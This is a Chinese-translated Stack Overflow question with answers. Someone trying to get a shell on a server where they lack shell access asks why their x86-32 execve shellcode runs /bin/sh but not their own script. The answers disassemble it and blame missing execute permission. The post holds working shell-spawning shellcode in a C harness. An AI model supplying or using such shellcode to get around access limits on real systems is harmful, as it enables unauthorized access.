我试图在一台服务器上运行一些shell代码,在该服务器上我无法访问shell,但我可以访问我自己的可执行bash脚本。
我的shellcode代码如下所示:
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";当我在本地运行它时,我会生成一个带有代码的shell。我还可以运行其他命令,比如/bin/ls...但是,当我尝试将/bin/sh改为./abcde时,它不会运行我的可执行文件。
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";我做错了什么?我使用的是x86-32计算机。
编辑:为了更清楚,这是一个场景:
unsigned char code[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
unsigned char code1[] = "\xeb\x15\x5b\x31\xc0\x89\x5b\x08\x88\x43\x07\x8d\x4b\x08\x89\x43"
"\x0c\x89\xc2\xb0\x0b\xcd\x80\xe8\xe6\xff\xff\xff./abcde";
int main(void){
void (*f)(void);
f = (void (*)(void))code; //works
f = (void (*)(void))code1; //Does NOT work
f();
}发布于 2014-02-26 00:53:57
您的程序可移植性不是很好,因为您的字符串中包含ia32指令。在gdb的帮助下,它更容易阅读:
(gdb) disassemble/r code,code1
Dump of assembler code from 0x804a040 to 0x804a080:
0x0804a040 <code+0>: eb 15 jmp 0x804a057 <code+23>
0x0804a042 <code+2>: 5b pop %ebx
0x0804a043 <code+3>: 31 c0 xor %eax,%eax
0x0804a045 <code+5>: 89 5b 08 mov %ebx,0x8(%ebx)
0x0804a048 <code+8>: 88 43 07 mov %al,0x7(%ebx)
0x0804a04b <code+11>: 8d 4b 08 lea 0x8(%ebx),%ecx
0x0804a04e <code+14>: 89 43 0c mov %eax,0xc(%ebx)
0x0804a051 <code+17>: 89 c2 mov %eax,%edx
0x0804a053 <code+19>: b0 0b mov $0xb,%al
0x0804a055 <code+21>: cd 80 int $0x80
0x0804a057 <code+23>: e8 e6 ff ff ff call 0x804a042 <code+2>
0x0804a05c <code+28>: 2f das
0x0804a05d <code+29>: 62 69 6e bound %ebp,0x6e(%ecx)
0x0804a060 <code+32>: 2f das
0x0804a061 <code+33>: 73 68 jae 0x804a0cb
0x0804a063 <code+35>: 00 00 add %al,(%eax)
0x0804a065: 00 00 add %al,(%eax)
0x0804a067: 00 00 add %al,(%eax)
0x0804a069: 00 00 add %al,(%eax)
0x0804a06b: 00 00 add %al,(%eax)
0x0804a06d: 00 00 add %al,(%eax)
0x0804a06f: 00 00 add %al,(%eax)
0x0804a071: 00 00 add %al,(%eax)
0x0804a073: 00 00 add %al,(%eax)
0x0804a075: 00 00 add %al,(%eax)
0x0804a077: 00 00 add %al,(%eax)
0x0804a079: 00 00 add %al,(%eax)
0x0804a07b: 00 00 add %al,(%eax)
0x0804a07d: 00 00 add %al,(%eax)
0x0804a07f: 00 eb add %ch,%bl然而,一个有用的编译器将代码放在一个可变的段中,当处理器跳到“字符串”并试图从它执行时,这将导致分段错误。
我认为这是一个类似的问题:sys_execve system call from Assembly
发布于 2016-03-09 10:48:46
仔细阅读这个问题,就会发现实际发生了什么。事实上,编译器会很高兴地把它放在一个可变区中;然而,目标操作系统平台可能没有启用NX (在任意32位进程上启用NX在很长一段时间内都是灾难的秘诀,因为GCC扩展要求堆栈是可执行的)。
实际问题是您没有对bash的执行访问权限。您自己承认./abcde是一个bash脚本,因此加载程序解释#! /bin/bash,转到open /bin/bash并发现您没有x权限和barf。当您运行外壳代码的末尾时,exec()返回-Esomething,并返回不可预测的结果。
https://stackoverflow.com/questions/22016590
复制相似问题